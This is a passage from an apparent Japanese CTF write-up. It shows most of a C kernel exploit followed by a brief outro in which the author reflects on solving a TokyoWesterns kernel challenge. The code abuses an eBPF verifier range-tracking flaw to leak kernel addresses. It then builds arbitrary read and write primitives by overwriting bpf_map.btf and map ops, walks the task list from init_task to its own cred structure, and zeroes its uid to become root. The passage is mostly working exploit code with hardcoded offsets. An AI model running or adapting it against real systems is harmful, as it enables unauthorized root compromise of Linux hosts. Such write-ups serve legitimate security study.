457 for(int ix=0; ix!=21; ++ix){
458 unsigned long val = aar64(addr_map_ops + 8*ix);
459 maps[ix] = val;
460 }
461 // overwrite map_push_elem with map_get_next_key
462 maps[10] = maps[4];
463
464 // load
465 array_update_big(mapfd, 0, copied_map);
466}
467
468int main(int argc, char *argv[])
469{
470 control_map = array_create(0x8, 10); // [0]: always 0 [1]: always 1 [2]: target addr
471 reader_map = array_create(0x700, 1); // for read
472 writer_map = array_create(0x700, 1); // for write
473
474 struct bpf_insn reader_insns[] = {
475
476 /* get cmap[0] */
477 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
478 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
479 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
480 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
481 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
482 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
483 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
484 BPF_EXIT_INSN(),
485 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
486 BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0]
487
488 /* get cmap[1] */
489 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
490 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
491 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
492 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
493 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
494 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
495 BPF_EXIT_INSN(),
496 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
497
498 /* exploit r1 range */
499 BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 3), // r6 &= 1
500 BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63), // r6 s<< 63
501 BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63), // r6 s>> 63
502 BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // r7 &= 1
503 BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), // r6 += r7
504 /* now, r6 is regarded as (0,0), but actually (0, -1) */
505 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), // r6 *= 0x150 (still regarded as 0)
506
507 /* get readermap[0] */
508 BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = cmap
509 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
510 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
511 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
512 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
513 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0)
514 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
515 BPF_EXIT_INSN(),
516 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &rmap[0]
517
518 /* */
519 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600),
520 BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
521 BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &rmap[0] now
522 BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0xD0), // leak array_map_ops
523
524 BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0),
525 BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_3, 0), // cmap[0] = array_map_ops
526
527 /* Go home */
528 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
529 BPF_EXIT_INSN()
530 };
531 reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
532
533 // leak kernbase
534 const unsigned long _map_array = read_rel();
535 printf("[+] map_array: %llx\n", _map_array);
536 /***** System.map
537 * ffffffff81000000 T _text
538 * ffffffff81e168c0 D array_map_ops
539 * ffffffff82211780 D init_task
540 * diff array_map_ops, _text = 0xe168c0
541 * diff init_task, _text = 0x1211780
542 *****/
543 kernbase = _map_array - 0xE168C0;
544 const unsigned long _init_task = kernbase + 0x1211780;
545 const unsigned long addr_map_ops = kernbase + 0x0E168C0;
546 printf("[+] kernbase: %llx\n", kernbase);
547 printf("[+] init_task: %llx\n", _init_task);
548
549 // prepare AAR
550 const struct bpf_insn aar_insns[] = {
551
552 /* get cmap[0] */
553 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
554 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
555 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
556 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
557 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
558 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
559 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
560 BPF_EXIT_INSN(),
561 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
562
563 /* get cmap[1] */
564 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
565 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
566 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
567 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
568 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
569 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
570 BPF_EXIT_INSN(),
571 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
572
573 /* get cmap[2] */
574 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
575 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
576 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
577 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 2), // qword[r2] = 2
578 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 2)
579 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
580 BPF_EXIT_INSN(),
581 BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // r9 = cmap[2] (==target addr)
582
583 /* exploit r1 range */
584 BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // r6 &= 1
585 BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63), // r6 s<< 63
586 BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63), // r6 s>> 63
587 BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // r7 &= 1
588 BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), // r6 += r7
589 /* now, r6 is regarded as (0,0), but actually (0, -1) */
590 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), // r6 *= 0x150 (still regarded as 0)
591
592 /* get readermap[0] */
593 BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = cmap
594 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
595 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
596 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
597 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
598 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0)
599 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
600 BPF_EXIT_INSN(),
601 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &rmap[0]
602
603 /* make point R8 to target */
604 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600),
605 BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
606 BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &rmap[0] now
607 BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, diff_btf_val), // r8 == &map.btf
608
609 /* overwrite bpf_map.btf */
610 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),
611
612 /* Go home */
613 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
614 BPF_EXIT_INSN()
615 };
616 aar_trigger = create_filtered_socket_fd(aar_insns, ARRSIZE(aar_insns));
617
618
619 // task traversal
620 /****
621 / 912 | 16 / struct list_head {
622 / 912 | 8 / struct list_head *next;
623 / 920 | 8 / struct list_head *prev;
624 } tasks;
625 / 1168 | 4 / pid_t pid;
626 / 1584 | 8 / const struct cred *cred;
627 ****/
628 unsigned long cur_task = _init_task;
629 pid_t cur_pid;
630 pid_t mypid = getpid();
631
632 for(int ix=0; ix!=0x10; ++ix){
633 printf("[.] searching %llx for pid %d... ", cur_task, mypid);
634 cur_pid = aar32(cur_task + 1168);
635 if(cur_pid == mypid){
636 printf("\n[!] pid found\n");
637 printf("[!] my task @ %llx\n", cur_task);
638 break;
639 }else{
640 printf(" not found (pid is %d)\n", cur_pid);
641 }
642 cur_task = aar64(cur_task + 920) - 912;
643 }
644 const unsigned long long mycred = aar64(cur_task + 1584);
645 printf("[!] my cred @ %llx\n", mycred);
646
647 // leak writer_map's addr
648 const unsigned long files = aar64(cur_task + 1656);
649 const unsigned long writer_map_file = aar64(files + 160 + writer_map * 8);
650 const unsigned long writer_map_addr = aar64(writer_map_file + 200) + 0xD0;
651 printf("[!] writer_map @ %llx\n", writer_map_addr);
652
653
654 // overwrite my task.cred.uid with 0
655 copy_map_ops(writer_map, addr_map_ops);
656 printf("GOING...\n");
657 aaw32zero(mycred + 4, 0, writer_map_addr);
658 printf("[!] OVERWROTE UID\n");
659
660 // check it
661 unsigned int ruid, euid, suid;
662 getresuid(&ruid, &euid, &suid);
663 setresuid(0, 0, 0);
664
665 // NIRUGIRI
666 NIRUGIRI();
667
668 return 0;
669}アウトロ
TW の問題、特に kernel 問題は、去年も思いましたが面白くて勉強になるので好きです。 因みにこの問題は 2020 年の 12/31 に解こうとしたのですが、tnum の更新の細かいところを認識できていなくてかなり時間を潰してしまい嫌になったので放置していました。ちゃんと解けて良かったです。